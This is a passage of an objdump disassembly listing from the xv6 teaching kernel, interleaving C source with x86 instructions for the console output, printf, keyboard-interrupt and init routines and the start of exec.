if(panicked){ 801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003e6: 85 d2 test %edx,%edx 801003e8: 74 06 je 801003f0 <consputc+0x10> 801003ea: fa cli 801003eb: eb fe jmp 801003eb <consputc+0xb> 801003ed: 8d 76 00 lea 0x0(%esi),%esi { 801003f0: 55 push %ebp 801003f1: 89 e5 mov %esp,%ebp 801003f3: 57 push %edi 801003f4: 56 push %esi 801003f5: 53 push %ebx 801003f6: 89 c3 mov %eax,%ebx 801003f8: 83 ec 1c sub $0x1c,%esp if(c == BACKSPACE){ 801003fb: 3d 00 01 00 00 cmp $0x100,%eax 80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2> uartputc(c); 80100406: 89 04 24 mov %eax,(%esp) 80100409: e8 42 53 00 00 call 80105750 <uartputc> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010040e: bf d4 03 00 00 mov $0x3d4,%edi 80100413: b8 0e 00 00 00 mov $0xe,%eax 80100418: 89 fa mov %edi,%edx 8010041a: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010041b: be d5 03 00 00 mov $0x3d5,%esi 80100420: 89 f2 mov %esi,%edx 80100422: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100423: 0f b6 c8 movzbl %al,%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100426: 89 fa mov %edi,%edx 80100428: c1 e1 08 shl $0x8,%ecx 8010042b: b8 0f 00 00 00 mov $0xf,%eax 80100430: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100431: 89 f2 mov %esi,%edx 80100433: ec in (%dx),%al pos |= inb(CRTPORT+1); 80100434: 0f b6 c0 movzbl %al,%eax 80100437: 09 c1 or %eax,%ecx if(c == '\n') 80100439: 83 fb 0a cmp $0xa,%ebx 8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f> else if(c == BACKSPACE){ 80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx 80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156> crt[pos++] = (c&0xff) | 0x0700; // black on white 8010044e: 0f b6 db movzbl %bl,%ebx 80100451: 80 cf 07 or $0x7,%bh 80100454: 8d 79 01 lea 0x1(%ecx),%edi 80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1) 8010045e: 80 if(pos < 0 || pos > 25*80) 8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi 80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a> if((pos/80) >= 24){ // Scroll up. 8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100471: 7f 68 jg 801004db <consputc+0xfb> 80100473: 89 f8 mov %edi,%eax 80100475: 89 fb mov %edi,%ebx 80100477: c1 e8 08 shr $0x8,%eax 8010047a: 89 c6 mov %eax,%esi 8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100483: bf d4 03 00 00 mov $0x3d4,%edi 80100488: b8 0e 00 00 00 mov $0xe,%eax 8010048d: 89 fa mov %edi,%edx 8010048f: ee out %al,(%dx) 80100490: 89 f0 mov %esi,%eax 80100492: b2 d5 mov $0xd5,%dl 80100494: ee out %al,(%dx) 80100495: b8 0f 00 00 00 mov $0xf,%eax 8010049a: 89 fa mov %edi,%edx 8010049c: ee out %al,(%dx) 8010049d: 89 d8 mov %ebx,%eax 8010049f: b2 d5 mov $0xd5,%dl 801004a1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004a2: b8 20 07 00 00 mov $0x720,%eax 801004a7: 66 89 01 mov %ax,(%ecx) } 801004aa: 83 c4 1c add $0x1c,%esp 801004ad: 5b pop %ebx 801004ae: 5e pop %esi 801004af: 5f pop %edi 801004b0: 5d pop %ebp 801004b1: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004b9: e8 92 52 00 00 call 80105750 <uartputc> 801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004c5: e8 86 52 00 00 call 80105750 <uartputc> 801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004d1: e8 7a 52 00 00 call 80105750 <uartputc> 801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801004e2: 00 pos -= 80; 801004e3: 8d 5f b0 lea -0x50(%edi),%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp) 801004ed: 80 memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp) 801004fc: e8 3f 3e 00 00 call 80104340 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100501: b8 d0 07 00 00 mov $0x7d0,%eax 80100506: 29 f8 sub %edi,%eax 80100508: 01 c0 add %eax,%eax 8010050a: 89 34 24 mov %esi,(%esp) 8010050d: 89 44 24 08 mov %eax,0x8(%esp) 80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100518: 00 80100519: e8 82 3d 00 00 call 801042a0 <memset> 8010051e: 89 f1 mov %esi,%ecx 80100520: be 07 00 00 00 mov $0x7,%esi 80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3> panic("pos under/overflow"); 8010052a: c7 04 24 25 6c 10 80 movl $0x80106c25,(%esp) 80100531: e8 2a fe ff ff call 80100360 <panic> if(pos > 0) --pos; 80100536: 85 c9 test %ecx,%ecx 80100538: 8d 79 ff lea -0x1(%ecx),%edi 8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f> 80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx 80100546: 31 db xor %ebx,%ebx 80100548: 31 f6 xor %esi,%esi 8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3> pos += 80 - pos%80; 8010054f: 89 c8 mov %ecx,%eax 80100551: ba 67 66 66 66 mov $0x66666667,%edx 80100556: f7 ea imul %edx 80100558: c1 ea 05 shr $0x5,%edx 8010055b: 8d 04 92 lea (%edx,%edx,4),%eax 8010055e: c1 e0 04 shl $0x4,%eax 80100561: 8d 78 50 lea 0x50(%eax),%edi 80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f> 80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100570 <printint>: { 80100570: 55 push %ebp 80100571: 89 e5 mov %esp,%ebp 80100573: 57 push %edi 80100574: 56 push %esi 80100575: 89 d6 mov %edx,%esi 80100577: 53 push %ebx 80100578: 83 ec 1c sub $0x1c,%esp if(sign && (sign = xx < 0)) 8010057b: 85 c9 test %ecx,%ecx 8010057d: 74 61 je 801005e0 <printint+0x70> 8010057f: 85 c0 test %eax,%eax 80100581: 79 5d jns 801005e0 <printint+0x70> x = -xx; 80100583: f7 d8 neg %eax 80100585: bf 01 00 00 00 mov $0x1,%edi i = 0; 8010058a: 31 c9 xor %ecx,%ecx 8010058c: eb 04 jmp 80100592 <printint+0x22> 8010058e: 66 90 xchg %ax,%ax buf[i++] = digits[x % base]; 80100590: 89 d9 mov %ebx,%ecx 80100592: 31 d2 xor %edx,%edx 80100594: f7 f6 div %esi 80100596: 8d 59 01 lea 0x1(%ecx),%ebx 80100599: 0f b6 92 50 6c 10 80 movzbl -0x7fef93b0(%edx),%edx }while((x /= base) != 0); 801005a0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1) }while((x /= base) != 0); 801005a6: 75 e8 jne 80100590 <printint+0x20> if(sign) 801005a8: 85 ff test %edi,%edi buf[i++] = digits[x % base]; 801005aa: 89 d8 mov %ebx,%eax if(sign) 801005ac: 74 08 je 801005b6 <printint+0x46> buf[i++] = '-'; 801005ae: 8d 59 02 lea 0x2(%ecx),%ebx 801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 801005b6: 83 eb 01 sub $0x1,%ebx 801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc(buf[i]); 801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax while(--i >= 0) 801005c5: 83 eb 01 sub $0x1,%ebx consputc(buf[i]); 801005c8: e8 13 fe ff ff call 801003e0 <consputc> while(--i >= 0) 801005cd: 83 fb ff cmp $0xffffffff,%ebx 801005d0: 75 ee jne 801005c0 <printint+0x50> } 801005d2: 83 c4 1c add $0x1c,%esp 801005d5: 5b pop %ebx 801005d6: 5e pop %esi 801005d7: 5f pop %edi 801005d8: 5d pop %ebp 801005d9: c3 ret 801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi x = xx; 801005e0: 31 ff xor %edi,%edi 801005e2: eb a6 jmp 8010058a <printint+0x1a> 801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801005f0 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 801005f0: 55 push %ebp 801005f1: 89 e5 mov %esp,%ebp 801005f3: 57 push %edi 801005f4: 56 push %esi 801005f5: 53 push %ebx 801005f6: 83 ec 1c sub $0x1c,%esp int i; iunlock(ip); 801005f9: 8b 45 08 mov 0x8(%ebp),%eax { 801005fc: 8b 75 10 mov 0x10(%ebp),%esi iunlock(ip); 801005ff: 89 04 24 mov %eax,(%esp) 80100602: e8 89 11 00 00 call 80101790 <iunlock> acquire(&cons.lock); 80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010060e: e8 cd 3b 00 00 call 801041e0 <acquire> 80100613: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100616: 85 f6 test %esi,%esi 80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010061b: 7e 12 jle 8010062f <consolewrite+0x3f> 8010061d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100620: 0f b6 07 movzbl (%edi),%eax 80100623: 83 c7 01 add $0x1,%edi 80100626: e8 b5 fd ff ff call 801003e0 <consputc> for(i = 0; i < n; i++) 8010062b: 39 df cmp %ebx,%edi 8010062d: 75 f1 jne 80100620 <consolewrite+0x30> release(&cons.lock); 8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100636: e8 15 3c 00 00 call 80104250 <release> ilock(ip); 8010063b: 8b 45 08 mov 0x8(%ebp),%eax 8010063e: 89 04 24 mov %eax,(%esp) 80100641: e8 6a 10 00 00 call 801016b0 <ilock> return n; } 80100646: 83 c4 1c add $0x1c,%esp 80100649: 89 f0 mov %esi,%eax 8010064b: 5b pop %ebx 8010064c: 5e pop %esi 8010064d: 5f pop %edi 8010064e: 5d pop %ebp 8010064f: c3 ret 80100650 <cprintf>: { 80100650: 55 push %ebp 80100651: 89 e5 mov %esp,%ebp 80100653: 57 push %edi 80100654: 56 push %esi 80100655: 53 push %ebx 80100656: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100659: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010065e: 85 c0 test %eax,%eax locking = cons.locking; 80100660: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140> if (fmt == 0) 80100669: 8b 45 08 mov 0x8(%ebp),%eax 8010066c: 85 c0 test %eax,%eax 8010066e: 89 c1 mov %eax,%ecx 80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100676: 0f b6 00 movzbl (%eax),%eax 80100679: 31 db xor %ebx,%ebx 8010067b: 89 cf mov %ecx,%edi 8010067d: 8d 75 0c lea 0xc(%ebp),%esi 80100680: 85 c0 test %eax,%eax 80100682: 75 4c jne 801006d0 <cprintf+0x80> 80100684: eb 5f jmp 801006e5 <cprintf+0x95> 80100686: 66 90 xchg %ax,%ax c = fmt[++i] & 0xff; 80100688: 83 c3 01 add $0x1,%ebx 8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 8010068f: 85 d2 test %edx,%edx 80100691: 74 52 je 801006e5 <cprintf+0x95> switch(c){ 80100693: 83 fa 70 cmp $0x70,%edx 80100696: 74 72 je 8010070a <cprintf+0xba> 80100698: 7f 66 jg 80100700 <cprintf+0xb0> 8010069a: 83 fa 25 cmp $0x25,%edx 8010069d: 8d 76 00 lea 0x0(%esi),%esi 801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8> 801006a6: 83 fa 64 cmp $0x64,%edx 801006a9: 75 7d jne 80100728 <cprintf+0xd8> printint(*argp++, 10, 1); 801006ab: 8d 46 04 lea 0x4(%esi),%eax 801006ae: b9 01 00 00 00 mov $0x1,%ecx 801006b3: 89 45 e4 mov %eax,-0x1c(%ebp) 801006b6: 8b 06 mov (%esi),%eax 801006b8: ba 0a 00 00 00 mov $0xa,%edx 801006bd: e8 ae fe ff ff call 80100570 <printint> 801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006c5: 83 c3 01 add $0x1,%ebx 801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006cc: 85 c0 test %eax,%eax 801006ce: 74 15 je 801006e5 <cprintf+0x95> if(c != '%'){ 801006d0: 83 f8 25 cmp $0x25,%eax 801006d3: 74 b3 je 80100688 <cprintf+0x38> consputc(c); 801006d5: e8 06 fd ff ff call 801003e0 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006da: 83 c3 01 add $0x1,%ebx 801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e1: 85 c0 test %eax,%eax 801006e3: 75 eb jne 801006d0 <cprintf+0x80> if(locking) 801006e5: 8b 45 e0 mov -0x20(%ebp),%eax 801006e8: 85 c0 test %eax,%eax 801006ea: 74 0c je 801006f8 <cprintf+0xa8> release(&cons.lock); 801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801006f3: e8 58 3b 00 00 call 80104250 <release> } 801006f8: 83 c4 1c add $0x1c,%esp 801006fb: 5b pop %ebx 801006fc: 5e pop %esi 801006fd: 5f pop %edi 801006fe: 5d pop %ebp 801006ff: c3 ret switch(c){ 80100700: 83 fa 73 cmp $0x73,%edx 80100703: 74 53 je 80100758 <cprintf+0x108> 80100705: 83 fa 78 cmp $0x78,%edx 80100708: 75 1e jne 80100728 <cprintf+0xd8> printint(*argp++, 16, 0); 8010070a: 8d 46 04 lea 0x4(%esi),%eax 8010070d: 31 c9 xor %ecx,%ecx 8010070f: 89 45 e4 mov %eax,-0x1c(%ebp) 80100712: 8b 06 mov (%esi),%eax 80100714: ba 10 00 00 00 mov $0x10,%edx 80100719: e8 52 fe ff ff call 80100570 <printint> 8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100721: eb a2 jmp 801006c5 <cprintf+0x75> 80100723: 90 nop 80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100728: b8 25 00 00 00 mov $0x25,%eax 8010072d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100730: e8 ab fc ff ff call 801003e0 <consputc> consputc(c); 80100735: 8b 55 e4 mov -0x1c(%ebp),%edx 80100738: 89 d0 mov %edx,%eax 8010073a: e8 a1 fc ff ff call 801003e0 <consputc> 8010073f: eb 99 jmp 801006da <cprintf+0x8a> 80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: e8 8e fc ff ff call 801003e0 <consputc> break; 80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75> 80100757: 90 nop if((s = (char*)*argp++) == 0) 80100758: 8d 46 04 lea 0x4(%esi),%eax 8010075b: 8b 36 mov (%esi),%esi 8010075d: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100760: b8 38 6c 10 80 mov $0x80106c38,%eax 80100765: 85 f6 test %esi,%esi 80100767: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 8010076a: 0f be 06 movsbl (%esi),%eax 8010076d: 84 c0 test %al,%al 8010076f: 74 16 je 80100787 <cprintf+0x137> 80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100778: 83 c6 01 add $0x1,%esi consputc(*s); 8010077b: e8 60 fc ff ff call 801003e0 <consputc> for(; *s; s++) 80100780: 0f be 06 movsbl (%esi),%eax 80100783: 84 c0 test %al,%al 80100785: 75 f1 jne 80100778 <cprintf+0x128> if((s = (char*)*argp++) == 0) 80100787: 8b 75 e4 mov -0x1c(%ebp),%esi 8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75> 8010078f: 90 nop acquire(&cons.lock); 80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100797: e8 44 3a 00 00 call 801041e0 <acquire> 8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19> panic("null fmt"); 801007a1: c7 04 24 3f 6c 10 80 movl $0x80106c3f,(%esp) 801007a8: e8 b3 fb ff ff call 80100360 <panic> 801007ad: 8d 76 00 lea 0x0(%esi),%esi 801007b0 <consoleintr>: { 801007b0: 55 push %ebp 801007b1: 89 e5 mov %esp,%ebp 801007b3: 57 push %edi 801007b4: 56 push %esi int c, doprocdump = 0; 801007b5: 31 f6 xor %esi,%esi { 801007b7: 53 push %ebx 801007b8: 83 ec 1c sub $0x1c,%esp 801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801007c5: e8 16 3a 00 00 call 801041e0 <acquire> 801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while((c = getc()) >= 0){ 801007d0: ff d3 call *%ebx 801007d2: 85 c0 test %eax,%eax 801007d4: 89 c7 mov %eax,%edi 801007d6: 78 48 js 80100820 <consoleintr+0x70> switch(c){ 801007d8: 83 ff 10 cmp $0x10,%edi 801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160> 801007e1: 7e 5d jle 80100840 <consoleintr+0x90> 801007e3: 83 ff 15 cmp $0x15,%edi 801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110> 801007ec: 83 ff 7f cmp $0x7f,%edi 801007ef: 90 nop 801007f0: 75 53 jne 80100845 <consoleintr+0x95> if(input.e != input.w){ 801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801007fd: 74 d1 je 801007d0 <consoleintr+0x20> input.e--; 801007ff: 83 e8 01 sub $0x1,%eax 80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100807: b8 00 01 00 00 mov $0x100,%eax 8010080c: e8 cf fb ff ff call 801003e0 <consputc> while((c = getc()) >= 0){ 80100811: ff d3 call *%ebx 80100813: 85 c0 test %eax,%eax 80100815: 89 c7 mov %eax,%edi 80100817: 79 bf jns 801007d8 <consoleintr+0x28> 80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100827: e8 24 3a 00 00 call 80104250 <release> if(doprocdump) { 8010082c: 85 f6 test %esi,%esi 8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170> } 80100834: 83 c4 1c add $0x1c,%esp 80100837: 5b pop %ebx 80100838: 5e pop %esi 80100839: 5f pop %edi 8010083a: 5d pop %ebp 8010083b: c3 ret 8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch(c){ 80100840: 83 ff 08 cmp $0x8,%edi 80100843: 74 ad je 801007f2 <consoleintr+0x42> if(c != 0 && input.e-input.r < INPUT_BUF){ 80100845: 85 ff test %edi,%edi 80100847: 74 87 je 801007d0 <consoleintr+0x20> 80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010084e: 89 c2 mov %eax,%edx 80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100856: 83 fa 7f cmp $0x7f,%edx 80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20> input.buf[input.e++ % INPUT_BUF] = c; 8010085f: 8d 50 01 lea 0x1(%eax),%edx 80100862: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 80100865: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c> input.buf[input.e++ % INPUT_BUF] = c; 80100874: 89 f9 mov %edi,%ecx 80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 8010087c: 89 f8 mov %edi,%eax 8010087e: e8 5d fb ff ff call 801003e0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100883: 83 ff 04 cmp $0x4,%edi 80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088b: 74 19 je 801008a6 <consoleintr+0xf6> 8010088d: 83 ff 0a cmp $0xa,%edi 80100890: 74 14 je 801008a6 <consoleintr+0xf6> 80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx 80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx 8010089e: 39 d0 cmp %edx,%eax 801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20> wakeup(&input.r); 801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) input.w = input.e; 801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008b2: e8 d9 34 00 00 call 80103d90 <wakeup> 801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20> 801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.e != input.w && 801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008cb: 75 2b jne 801008f8 <consoleintr+0x148> 801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20> 801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 801008dd: b8 00 01 00 00 mov $0x100,%eax 801008e2: e8 f9 fa ff ff call 801003e0 <consputc> while(input.e != input.w && 801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 801008f8: 83 e8 01 sub $0x1,%eax 801008fb: 89 c2 mov %eax,%edx 801008fd: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 80100907: 75 cf jne 801008d8 <consoleintr+0x128> 80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010090e: 66 90 xchg %ax,%ax doprocdump = 1; 80100910: be 01 00 00 00 mov $0x1,%esi 80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } 80100920: 83 c4 1c add $0x1c,%esp 80100923: 5b pop %ebx 80100924: 5e pop %esi 80100925: 5f pop %edi 80100926: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100927: e9 44 35 00 00 jmp 80103e70 <procdump> input.buf[input.e++ % INPUT_BUF] = c; 8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100933: b8 0a 00 00 00 mov $0xa,%eax 80100938: e8 a3 fa ff ff call 801003e0 <consputc> 8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6> 80100947: 89 f6 mov %esi,%esi 80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100950 <consoleinit>: void consoleinit(void) { 80100950: 55 push %ebp 80100951: 89 e5 mov %esp,%ebp 80100953: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 80100956: c7 44 24 04 48 6c 10 movl $0x80106c48,0x4(%esp) 8010095d: 80 8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100965: e8 06 37 00 00 call 80104070 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100971: 00 80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp) devsw[CONSOLE].write = consolewrite; 80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c 80100980: 05 10 80 devsw[CONSOLE].read = consoleread; 80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 8010098a: 02 10 80 cons.locking = 1; 8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 80100994: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100997: e8 14 19 00 00 call 801022b0 <ioapicenable> } 8010099c: c9 leave 8010099d: c3 ret 8010099e: 66 90 xchg %ax,%ax 801009a0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 57 push %edi 801009a4: 56 push %esi 801009a5: 53 push %ebx 801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009ac: e8 ef 2c 00 00 call 801036a0 <myproc> 801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 801009b7: e8 54 21 00 00 call 80102b10 <begin_op> if((ip = namei(path)) == 0){ 801009bc: 8b 45 08 mov 0x8(%ebp),%eax 801009bf: 89 04 24 mov %eax,(%esp) 801009c2: e8 39 15 00 00 call 80101f00 <namei> 801009c7: 85 c0 test %eax,%eax 801009c9: 89 c3 mov %eax,%ebx 801009cb: 0f 84 c2 01 00 00 je 80100b93 <exec+0x1f3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 801009d1: 89 04 24 mov %eax,(%esp) 801009d4: e8 d7 0c 00 00 call 801016b0 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 801009e6: 00 801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801009ee: 00 801009ef: 89 44 24 04 mov %eax,0x4(%esp) 801009f3: 89 1c 24 mov %ebx,(%esp) 801009f6: e8 65 0f 00 00 call 80101960 <readi> 801009fb: 83 f8 34 cmp $0x34,%eax 801009fe: 74 20 je 80100a20 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a00: 89 1c 24 mov %ebx,(%esp) 80100a03: e8 08 0f 00 00 call 80101910 <iunlockput> end_op(); 80100a08: e8 73 21 00 00 call 80102b80 <end_op> } return -1; 80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp 80100a18: 5b pop %ebx 80100a19: 5e pop %esi 80100a1a: 5f pop %edi 80100a1b: 5d pop %ebp 80100a1c: c3 ret 80100a1d: 8d 76 00 lea 0x0(%esi),%esi if(elf.magic != ELF_MAGIC) 80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a27: 45 4c 46 80100a2a: 75 d4 jne 80100a00 <exec+0x60> if((pgdir = setupkvm()) == 0) 80100a2c: e8 0f 5f 00 00 call 80106940 <setupkvm> 80100a31: 85 c0 test %eax,%eax 80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a39: 74 c5 je 80100a00 <exec+0x60> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a42: 00 80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi sz = 0; 80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a50: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193> 80100a59: 31 ff xor %edi,%edi 80100a5b: eb 18 jmp 80100a75 <exec+0xd5> 80100a5d: 8d 76 00 lea 0x0(%esi),%esi 80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100a67: 83 